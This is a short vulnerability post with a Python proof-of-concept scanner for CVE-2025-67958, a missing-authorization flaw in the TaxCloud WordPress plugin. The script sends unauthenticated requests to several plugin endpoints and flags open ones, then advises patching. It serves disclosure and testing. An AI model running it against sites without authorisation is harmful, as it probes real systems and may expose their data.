CVE-2025-67958 WordPress TaxCloud插件缺失授权漏洞

import requests # CVE-2025-67958 PoC - Missing Authorization in TaxCloud for WooCommerce # Target: WordPress site with vulnerable TaxCloud plugin (<=8.3.8) TARGET_URL = "http://target-wordpress-site.com" def check_vulnerability(): """Check if the target is vulnerable to CVE-2025-67958""" # Try to access sensitive endpoint without authentication endpoints = [ "/wp-json/taxcloud/v1/calculate", "/wp-json/taxcloud/v1/verify-address", "/wp-json/taxcloud/v1/get-taxes", "/wp-admin/admin-ajax.php?action=taxcloud_calculate", "/wp-admin/admin-ajax.php?action=taxcloud_verify_address" ] headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-67958-PoC)" } # Sample payload for tax calculation endpoint sample_payload = { "customer_id": "guest_user", "cart_items": [ {"TIC": "00000", "Price": 100.00, "Qty": 1} ], "origin": {"Zip5": "10001"}, "destination": {"Zip5": "10002"} } print(f"[*] Testing {TARGET_URL} for CVE-2025-67958...") for endpoint in endpoints: url = TARGET_URL + endpoint try: # Send unauthenticated request response = requests.post(url, json=sample_payload, headers=headers, timeout=10) # If we get a successful response without 401/403, vulnerability exists if response.status_code in [200, 201]: print(f"[+] VULNERABLE: {endpoint} - Returns data without authentication") print(f" Response: {response.text[:200]}...") elif response.status_code == 403: print(f"[-] Protected: {endpoint} - Access denied") else: print(f"[*] Endpoint: {endpoint} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error testing {endpoint}: {e}") print("\n[*] Scan complete. If vulnerabilities found, update TaxCloud plugin to version > 8.3.8") if __name__ == "__main__": check_vulnerability()